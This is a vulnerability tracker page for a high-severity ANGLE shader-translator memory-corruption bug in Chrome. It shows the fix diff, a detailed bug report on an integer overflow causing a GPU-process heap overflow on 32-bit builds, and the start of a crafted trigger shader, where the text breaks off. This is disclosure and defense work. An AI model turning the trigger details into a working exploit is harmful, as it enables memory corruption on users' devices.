High chrome Memory Corruption 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMemory corruption in ANGLE
DescriptionMemory corruption in ANGLE
ComponentANGLE
Sub-componentTranslator
Bug ClassMemory Corruption
Tracker561999377
Fix commitbea9f5ec4d25 (angle/angle) +169/-148
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
for
src/tests/gl_tests/GLSLTest.cpp
modified

Files Changed

  • src/compiler/translator/ParseContext.cpp
  • src/tests/gl_tests/GLSLValidationTest.cpp
  • src/tests/gl_tests/GLSLTest.cpp
From bea9f5ec4d253a3435ecb2b08e6054f220aeb80d Mon Sep 17 00:00:00 2001
From: Shahbaz Youssefi <syoussefi@chromium.org>
Date: Wed, 16 Sep 2026 22:30:37 -0400
Subject: [PATCH] Translator: Fix off-by-one error in variable-size check

Bug: chromium:525685715
Bug: chromium:561999377
Change-Id: I67146644ea6da349c5f8208d479e222cbc5eca24
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8414095
Reviewed-by: Yuxin Hu <yuxinhu@google.com>
---
diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp
index 9da86d5..161dbd6 100644
--- a/src/compiler/translator/ParseContext.cpp
+++ b/src/compiler/translator/ParseContext.cpp
@@ -1985,7 +1985,7 @@
         mValidatedVariableTypeSizes[*type] = variableSize;
     }
 
-    if (variableSize > kWebGLMaxVariableSizeInBytes)
+    if (variableSize >= kWebGLMaxVariableSizeInBytes)
     {
         error(line, "Size of declared variable exceeds implementation-defined limit", identifier);
         return false;
@@ -2029,7 +2029,7 @@
         case EvqPerVertexIn:
         case EvqPerVertexOut:
 
-            if (variableSize > kWebGLMaxPrivateVariableSizeInBytes)
+            if (variableSize >= kWebGLMaxPrivateVariableSizeInBytes)
             {
                 error(line,
                       "Size of declared private variable exceeds implementation-defined limit",
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 70c19ca..74b7fa4 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -25586,16 +25586,15 @@
 // correctly.
 TEST_P(GLSLTest_ES3, DynamicIndexingOfVectorOnRightSideOfLogicalOr)
 {
-    const std::string &fragShader =
-        "#version 300 es\n"
-        "precision highp float;\n"
-        "out vec4 my_FragColor;\n"
-        "uniform int u1;\n"
-        "void main() {\n"
-        "   bvec4 v = bvec4(true, true, true, false);\n"
-        "   my_FragColor = vec4(v[u1 + 1] || v[u1]);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fragShader.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+out vec4 my_FragColor;
+uniform int u1;
+void main() {
+   bvec4 v = bvec4(true, true, true, false);
+   my_FragColor = vec4(v[u1 + 1] || v[u1]);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint u1Loc = glGetUniformLocation(program, "u1");
     ASSERT_NE(-1, u1Loc);
@@ -25609,37 +25608,35 @@
 // without a prefix.
 TEST_P(GLSLTest, RewriteElseBlockReturningStruct)
 {
-    const std::string &vs =
-        "attribute vec4 a_position;\n"
-        "struct foo\n"
-        "{\n"
-        "    float member;\n"
-        "};\n"
-        "uniform bool b;\n"
-        "varying float outMember;\n"
-        "foo getFoo()\n"
-        "{\n"
-        "    if (b)\n"
-        "    {\n"
-        "        return foo(0.5);\n"
-        "    }\n"
-        "    else\n"
-        "    {\n"
-        "        return foo(1.0);\n"
-        "    }\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "   gl_Position = a_position;\n"
-        "   outMember = getFoo().member;\n"
-        "}\n";
-    const std::string &fs =
-        "precision mediump float;\n"
-        "varying float outMember;\n"
-        "void main() {\n"
-        "   gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, vs.c_str(), fs.c_str());
+    constexpr char kVS[] = R"(attribute vec4 a_position;
+struct foo
+{
+    float member;
+};
+uniform bool b;
+varying float outMember;
+foo getFoo()
+{
+    if (b)
+    {
+        return foo(0.5);
+    }
+    else
+    {
+        return foo(1.0);
+    }
+}
+void main()
+{
+   gl_Position = a_position;
+   outMember = getFoo().member;
+})";
+    constexpr char kFS[] = R"(precision mediump float;
+varying float outMember;
+void main() {
+   gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, kVS, kFS);
     glUseProgram(program);
     GLint bLoc = glGetUniformLocation(program, "b");
     ASSERT_NE(-1, bLoc);
@@ -25653,14 +25650,14 @@
 // test.
 TEST_P(GLSLTest, RemoveDynamicingIndexIndexPrecisionBug)
 {
-    const char vs[] = R"(void main()
+    constexpr char kVS[] = R"(void main()
 {
     mat3 tmp;
     vec3 res = vec3(0);
     for (int i = 0; res += 0., ivec3(0)[i], ivec3(tmp)[i], i < 0;);
     gl_Position = vec4(0.0);
 })";
-    ANGLE_GL_PROGRAM(program, vs, essl1_shaders::fs::Red());
+    ANGLE_GL_PROGRAM(program, kVS, essl1_shaders::fs::Red());
     EXPECT_GL_NO_ERROR();
 }
 
@@ -25668,16 +25665,15 @@
 // output. This test has a constant array constructor statement.
 TEST_P(GLSLTest_ES3, ConstArrayConstructorStatement)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    int[1](0);\n"
-        "    outColor = vec4(0.0, 1.0, 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    int[1](0);
+    outColor = vec4(0.0, 1.0, 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25688,16 +25684,15 @@
 // output.
 TEST_P(GLSLTest_ES3, ArrayConstructorStatement)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float[1](outColor[1]++);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    outColor = vec4(0.0, 0.0, 0.0, 1.0);
+    float[1](outColor[1]++);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25707,16 +25702,15 @@
 // Test an array of arrays constructor as a statement.
 TEST_P(GLSLTest_ES31, ArrayOfArraysStatement)
 {
-    const std::string &fs =
-        "#version 310 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 310 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    outColor = vec4(0.0, 0.0, 0.0, 1.0);
+    float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));
+})";
+    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl31_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25727,17 +25721,16 @@
 // indexing have correct data that subsequent traversal steps rely on.
 TEST_P(GLSLTest_ES3, VectorDynamicIndexing)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "uniform int i;\n"
-        "void main()\n"
-        "{\n"
-        "    vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);\n"
-        "    outColor = vec4(0.0, foo[i], 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+uniform int i;
+void main()
+{
+    vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);
+    outColor = vec4(0.0, foo[i], 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint iLoc = glGetUniformLocation(program, "i");
     ASSERT_NE(-1, iLoc);
@@ -25751,21 +25744,20 @@
 // changed consistently when the user-defined function is changed to have an array out parameter.
 TEST_P(GLSLTest_ES31, ArrayReturnValue)
 {
-    const std::string &fs =
-        "#version 310 es\n"
-        "precision highp float;\n"
-        "uniform float u;\n"
-        "out vec4 outColor;\n"
-        "float[2] getArray(float f)\n"
-        "{\n"
-        "    return float[2](f, f + 0.5);\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "    float[2] arr = getArray(u);\n"
-        "    outColor = vec4(arr[0], arr[1], 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 310 es
+precision highp float;
+uniform float u;
+out vec4 outColor;
+float[2] getArray(float f)
+{
+    return float[2](f, f + 0.5);
+}
+void main()
+{
+    float[2] arr = getArray(u);
+    outColor = vec4(arr[0], arr[1], 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint uLoc = glGetUniformLocation(program, "u");
     ASSERT_NE(-1, uLoc);
@@ -25778,18 +25770,17 @@
 // Test that writing parameters without a name doesn't assert.
 TEST_P(GLSLTest, ParameterWithNoName)
 {
-    const std::string &fs =
-        "precision mediump float;\n"
-        "uniform vec4 v;\n"
-        "vec4 s(vec4)\n"
-        "{\n"
-        "    return v;\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "    gl_FragColor = s(v);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(precision mediump float;
+uniform vec4 v;
+vec4 s(vec4)
+{
+    return v;
+}
+void main()
+{
+    gl_FragColor = s(v);
+})";
+    ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint vLoc = glGetUniformLocation(program, "v");
     ASSERT_NE(-1, vLoc);
@@ -25802,21 +25793,20 @@
 // Test that array dimensions are written out correctly.
 TEST_P(GLSLTest_ES3, ArrayDimensionsCompile)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "uniform float uf;\n"
-        "out vec4 my_FragColor;\n"
-        "void main()\n"
-        "{\n"
-        "    my_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float arr[2];\n"
-        "    for (int i = 0; i < 2; ++i) {\n"
-        "        arr[i] = uf * 0.25;\n"
-        "        my_FragColor.x += arr[i];\n"
-        "    }\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+uniform float uf;
+out vec4 my_FragColor;
+void main()
+{
+    my_FragColor = vec4(0.0, 0.0, 0.0, 1.0);
+    float arr[2];
+    for (int i = 0; i < 2; ++i) {
+        arr[i] = uf * 0.25;
+        my_FragColor.x += arr[i];
+    }
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint ufLoc = glGetUniformLocation(program, "uf");
     ASSERT_NE(-1, ufLoc);
@@ -25829,19 +25819,18 @@
 // Test that initializing array with previously declared array will not be overwritten
 TEST_P(GLSLTest_ES3, SameNameArray)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision highp float;\n"
-        "out vec4 my_FragColor;\n"
-        "void main()\n"
-        "{\n"
-        "  float arr[2] = float[2](0.5, 1.0);\n"
-        "  {\n"
-        "    float arr[2] = arr;\n"
-        "    my_FragColor = vec4(0.0, arr[0], 0.0, arr[1]);\n"
-        "  }\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+out vec4 my_FragColor;
+void main()
+{
+  float arr[2] = float[2](0.5, 1.0);
+  {
+    float arr[2] = arr;
+    my_FragColor = vec4(0.0, arr[0], 0.0, arr[1]);
+  }
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25852,7 +25841,7 @@
 // struct mapping.
 TEST_P(GLSLTest_ES3, NonStructMemberAsFunctionArgument)
 {
-    const std::string &fs = R"(#version 300 es
+    constexpr char kFS[] = R"(#version 300 es
     precision highp float;
     out vec4 my_FragColor;
     struct InstancingData
@@ -25871,7 +25860,7 @@
         float result = dot(instances[index].data, vec4(0.25, 0.25, 0.25, 0.25));
         my_FragColor = vec4(result, 0.0, 0.0, 1.0);
     })";
... (file diff truncated)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 70c19ca..74b7fa4 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -25586,16 +25586,15 @@
 // correctly.
 TEST_P(GLSLTest_ES3, DynamicIndexingOfVectorOnRightSideOfLogicalOr)
 {
-    const std::string &fragShader =
-        "#version 300 es\n"
-        "precision highp float;\n"
-        "out vec4 my_FragColor;\n"
-        "uniform int u1;\n"
-        "void main() {\n"
-        "   bvec4 v = bvec4(true, true, true, false);\n"
-        "   my_FragColor = vec4(v[u1 + 1] || v[u1]);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fragShader.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+out vec4 my_FragColor;
+uniform int u1;
+void main() {
+   bvec4 v = bvec4(true, true, true, false);
+   my_FragColor = vec4(v[u1 + 1] || v[u1]);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint u1Loc = glGetUniformLocation(program, "u1");
     ASSERT_NE(-1, u1Loc);
@@ -25609,37 +25608,35 @@
 // without a prefix.
 TEST_P(GLSLTest, RewriteElseBlockReturningStruct)
 {
-    const std::string &vs =
-        "attribute vec4 a_position;\n"
-        "struct foo\n"
-        "{\n"
-        "    float member;\n"
-        "};\n"
-        "uniform bool b;\n"
-        "varying float outMember;\n"
-        "foo getFoo()\n"
-        "{\n"
-        "    if (b)\n"
-        "    {\n"
-        "        return foo(0.5);\n"
-        "    }\n"
-        "    else\n"
-        "    {\n"
-        "        return foo(1.0);\n"
-        "    }\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "   gl_Position = a_position;\n"
-        "   outMember = getFoo().member;\n"
-        "}\n";
-    const std::string &fs =
-        "precision mediump float;\n"
-        "varying float outMember;\n"
-        "void main() {\n"
-        "   gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, vs.c_str(), fs.c_str());
+    constexpr char kVS[] = R"(attribute vec4 a_position;
+struct foo
+{
+    float member;
+};
+uniform bool b;
+varying float outMember;
+foo getFoo()
+{
+    if (b)
+    {
+        return foo(0.5);
+    }
+    else
+    {
+        return foo(1.0);
+    }
+}
+void main()
+{
+   gl_Position = a_position;
+   outMember = getFoo().member;
+})";
+    constexpr char kFS[] = R"(precision mediump float;
+varying float outMember;
+void main() {
+   gl_FragColor = vec4(outMember, 0.0, 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, kVS, kFS);
     glUseProgram(program);
     GLint bLoc = glGetUniformLocation(program, "b");
     ASSERT_NE(-1, bLoc);
@@ -25653,14 +25650,14 @@
 // test.
 TEST_P(GLSLTest, RemoveDynamicingIndexIndexPrecisionBug)
 {
-    const char vs[] = R"(void main()
+    constexpr char kVS[] = R"(void main()
 {
     mat3 tmp;
     vec3 res = vec3(0);
     for (int i = 0; res += 0., ivec3(0)[i], ivec3(tmp)[i], i < 0;);
     gl_Position = vec4(0.0);
 })";
-    ANGLE_GL_PROGRAM(program, vs, essl1_shaders::fs::Red());
+    ANGLE_GL_PROGRAM(program, kVS, essl1_shaders::fs::Red());
     EXPECT_GL_NO_ERROR();
 }
 
@@ -25668,16 +25665,15 @@
 // output. This test has a constant array constructor statement.
 TEST_P(GLSLTest_ES3, ConstArrayConstructorStatement)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    int[1](0);\n"
-        "    outColor = vec4(0.0, 1.0, 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    int[1](0);
+    outColor = vec4(0.0, 1.0, 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25688,16 +25684,15 @@
 // output.
 TEST_P(GLSLTest_ES3, ArrayConstructorStatement)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float[1](outColor[1]++);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    outColor = vec4(0.0, 0.0, 0.0, 1.0);
+    float[1](outColor[1]++);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25707,16 +25702,15 @@
 // Test an array of arrays constructor as a statement.
 TEST_P(GLSLTest_ES31, ArrayOfArraysStatement)
 {
-    const std::string &fs =
-        "#version 310 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "void main()\n"
-        "{\n"
-        "    outColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 310 es
+precision mediump float;
+out vec4 outColor;
+void main()
+{
+    outColor = vec4(0.0, 0.0, 0.0, 1.0);
+    float[2][2](float[2](outColor[1]++, 0.0), float[2](1.0, 2.0));
+})";
+    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     drawQuad(program, essl31_shaders::PositionAttrib(), 0.5f);
     EXPECT_GL_NO_ERROR();
@@ -25727,17 +25721,16 @@
 // indexing have correct data that subsequent traversal steps rely on.
 TEST_P(GLSLTest_ES3, VectorDynamicIndexing)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "out vec4 outColor;\n"
-        "uniform int i;\n"
-        "void main()\n"
-        "{\n"
-        "    vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);\n"
-        "    outColor = vec4(0.0, foo[i], 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+out vec4 outColor;
+uniform int i;
+void main()
+{
+    vec4 foo = vec4(0.0, 0.5, 0.0, 1.0);
+    outColor = vec4(0.0, foo[i], 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint iLoc = glGetUniformLocation(program, "i");
     ASSERT_NE(-1, iLoc);
@@ -25751,21 +25744,20 @@
 // changed consistently when the user-defined function is changed to have an array out parameter.
 TEST_P(GLSLTest_ES31, ArrayReturnValue)
 {
-    const std::string &fs =
-        "#version 310 es\n"
-        "precision highp float;\n"
-        "uniform float u;\n"
-        "out vec4 outColor;\n"
-        "float[2] getArray(float f)\n"
-        "{\n"
-        "    return float[2](f, f + 0.5);\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "    float[2] arr = getArray(u);\n"
-        "    outColor = vec4(arr[0], arr[1], 0.0, 1.0);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(#version 310 es
+precision highp float;
+uniform float u;
+out vec4 outColor;
+float[2] getArray(float f)
+{
+    return float[2](f, f + 0.5);
+}
+void main()
+{
+    float[2] arr = getArray(u);
+    outColor = vec4(arr[0], arr[1], 0.0, 1.0);
+})";
+    ANGLE_GL_PROGRAM(program, essl31_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint uLoc = glGetUniformLocation(program, "u");
     ASSERT_NE(-1, uLoc);
@@ -25778,18 +25770,17 @@
 // Test that writing parameters without a name doesn't assert.
 TEST_P(GLSLTest, ParameterWithNoName)
 {
-    const std::string &fs =
-        "precision mediump float;\n"
-        "uniform vec4 v;\n"
-        "vec4 s(vec4)\n"
-        "{\n"
-        "    return v;\n"
-        "}\n"
-        "void main()\n"
-        "{\n"
-        "    gl_FragColor = s(v);\n"
-        "}\n";
-    ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), fs.c_str());
+    constexpr char kFS[] = R"(precision mediump float;
+uniform vec4 v;
+vec4 s(vec4)
+{
+    return v;
+}
+void main()
+{
+    gl_FragColor = s(v);
+})";
+    ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), kFS);
     glUseProgram(program);
     GLint vLoc = glGetUniformLocation(program, "v");
     ASSERT_NE(-1, vLoc);
@@ -25802,21 +25793,20 @@
 // Test that array dimensions are written out correctly.
 TEST_P(GLSLTest_ES3, ArrayDimensionsCompile)
 {
-    const std::string &fs =
-        "#version 300 es\n"
-        "precision mediump float;\n"
-        "uniform float uf;\n"
-        "out vec4 my_FragColor;\n"
-        "void main()\n"
-        "{\n"
-        "    my_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n"
-        "    float arr[2];\n"
-        "    for (int i = 0; i < 2; ++i) {\n"
... (truncated)
Loading diff…

Original Bug Report

reported by vm...@google.com

Integer overflow in ANGLE getConstantValue leads to heap overflow on 32-bit targets

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: In ANGLE’s shader translator, TIntermAggregate::getConstantValue() allocates constant storage with new TConstantUnion[n] after validating only the element count — the byte product n * sizeof(TConstantUnion) is unchecked in the array branch, and the struct branch has no guard at all. On 32-bit targets, element counts in [2^29, 2^32) pass the count check but overflow the byte computation; clang passes the SIZE_MAX sentinel to ANGLE’s pool operator new[], and because PoolAllocator::allocate()’s overflow checks are release-stripped ASSERTs, the size wraps (SIZE_MAX + 8 + 4 → 11 bytes) and an undersized block is returned. Compiling a crafted but ES-3.00-legal shader in a WebGL2 context then writes linearly out of bounds in GPU-process heap during parsing. Affected shipping configurations are 32-bit only: Android armeabi-v7a (unsandboxed GPU process) and 32-bit Windows (sandboxed GPU).

Affected files:

Estimated timestamp from git blame: 2026-04-29

Summary

This is the residual blind spot of the crbug.com/498400132 hardening (shipped as the fix for CVE-2026-8519, rated Critical): that fix validates the element-count product with CheckedNumeric, but not the byte size the new[] expression actually computes. sizeof(TConstantUnion) is 8 on 32-bit (4-byte value union + 4-byte TBasicType), so any count in [2^29, 2^32) passes ValueOrDie() yet overflows n * 8. The struct branch never received a guard at all.

Preconditions — all default:

  • WebGL2 context + compileShader() on a ~270 KB ESSL 3.00 source; no extensions, no user interaction. The write happens during parsing, before compile status is even returned.
  • Chrome’s hardened-context size caps do not gate this path: declared const leaves stay under the 64 KB private-variable cap, and the huge constructors are inline expressions whose checkVariableSize failure addConstructor() discards (diagnostic recorded, parse actions continue).
  • 32-bit size_t (the byte product must exceed 2^32): Android armeabi-v7a and Win32. 64-bit builds are unaffected.

Executed evidence:

  • Real Chrome (64-bit ASan build): web-content compileShader() drives the GPU process to PoolAllocator::allocate with the attacker-determined size 0x100000018, via GpuChannel::ExecuteDeferredRequest → DoCompileShader → sh::Compile → yyparse → fold → TIntermAggregate::getConstantValue; the GPU process dies and the page observes webglcontextlost. (64-bit size_t cannot wrap, so an ASan allocation-size limit was used purely to snapshot the call — this run proves end-to-end reachability, not the wrap.)
  • The identical translator source built for 32-bit (i386, production-parity dcheck_always_on=false), driven by the stock in-tree translator with the WebGL2 spec: ASan reports heap-buffer-overflow WRITE of size 4 in the element init at IntermNode.cpp:901 into an 11-byte region allocated at PoolAlloc.cpp:321 — 11 = SIZE_MAX + 8 + 4 mod 2^32, the arithmetic fingerprint of the wrap. A 32-bit release (ThinLTO) build SIGSEGVs after linearly overwriting ~4.6 MB of live heap.

Note: fuzz builds define ANGLE_DISABLE_POOL_ALLOC and get a clean new (std::nothrow) failure instead of the wrap, so this bug class is structurally invisible to existing ANGLE fuzzers.


Root Cause Analysis

  1. Count is checked, bytes are not: third_party/angle/src/compiler/translator/IntermNode.cpp:877-901 —

    // IntermNode.cpp:877-901 (abridged)
    if (isArray())
    {
        size_t elementSize = mArguments.front()->getAsTyped()->getType().getObjectSize();
        // http://crbug.com/498400132
        angle::base::CheckedNumeric<size_t> checkedArraySize = elementSize;
        checkedArraySize *= getOutermostArraySize();
        constArray = new TConstantUnion[checkedArraySize.ValueOrDie()];   // <-- n*8 byte product unchecked
        ...
            memcpy(static_cast<void *>(&constArray[elementOffset]), ...); // :893 — OOB once undersized
        ...
    }
    size_t resultSize    = getType().getObjectSize();
    constArray           = new TConstantUnion[resultSize];                // :901 — struct branch, no guard
    

    For n in [2^29, 2^32) the count is a valid size_t (ValueOrDie passes) but n * 8 ≥ 2^32. Per Itanium-family C++ ABI codegen, clang calls operator new[] with SIZE_MAX on byte-size overflow (no array cookie: trivial destructor, unsized operator delete[]); even a hypothetical naive wrap would still request a tiny size, so the undersized-allocation outcome does not hinge on the sentinel.

  2. The pool allocator wraps SIZE_MAX into an 11-byte block: third_party/angle/src/common/PoolAlloc.cpp:290-321 — POOL_ALLOCATOR_NEW_DELETE (ConstantUnion.h:21, Common.h:54-57) routes new TConstantUnion[] here:

    // PoolAlloc.cpp:294-321 (release: guard blocks and header size are 0)
    ASSERT(allocationSize >= numBytes);                                      // overflow check — release no-op
    ...
    size_t numBytesToAlloc = allocationSize + mPageHeaderSkip + mAlignment;  // SIZE_MAX + 8 + 4 wraps to 11
    ASSERT(numBytesToAlloc >= allocationSize);                               // release no-op
    uint8_t *memory = new (std::nothrow) uint8_t[numBytesToAlloc];           // 11-byte block — succeeds
    

    ANGLE ASSERT compiles out unless !NDEBUG/angle_assert_always_on (both off in official builds), and debug-only guard blocks are absent. Every path returns a valid pointer to a block orders of magnitude smaller than requested; allocate() never fails for SIZE_MAX.

  3. Parser size caps do not gate inline constructors: ParseContext.cpp:6639-6642 — addConstructor() calls checkVariableSize() but ignores the result; error() records a diagnostic without stopping parse actions. Blocking enforcement (including the hardened-context rejectWebglShadersWithLargeVariables option Chrome sets for WebGL) exists only in declareVariable(), which an inline constructor expression never reaches.

  4. Materialization fires during parsing: constructors whose arguments are const-symbol references stay unfolded (TIntermAggregate::fold requires the strong getAsConstantUnion() check), but indexing the expression down to a scalar triggers TIntermBinary::fold at IntermNode.cpp:2251-2257 — canReplaceWithConstantUnion() is true for the final scalar, so the weak getConstantValue() recursion materializes the full aggregate. A struct wrapper defeats the fold short-circuit at IntermNode.cpp:2238, which fires only when the indexed aggregate isArray(). Independently, executeInitializer (ParseContext.cpp:3969) calls getConstantValue() unconditionally on every initialized declaration.

  5. Linear OOB write in the GPU process: the outer struct constructor (2^29 elements) materializes through the unguarded :900-901 branch, and its inner array constructor through :884 (count 2^29 passes the guard); both wrap to undersized pool blocks. Element zero-initialization, and the memcpy loop at :887-896 if reached (32768 iterations × 131072 bytes of attacker-chosen constant data), write linearly past the block through adjacent GPU-process heap until an unmapped page faults.

Reproduction

  1. On a 32-bit Chrome configuration (Android armeabi-v7a device, or Win32), serve a page that creates a WebGL2 context and calls gl.compileShader() on a ~270 KB ESSL 3.00 shader of this shape (all constructs legal at ES 3.00; declared leaves pass every cap):
    #version 300 es
    struct S  { int a[16384]; };   // 64 KB leaf
    struct T2 { S s[32768]; };     // 16384 * 32768 = 2^29 elements
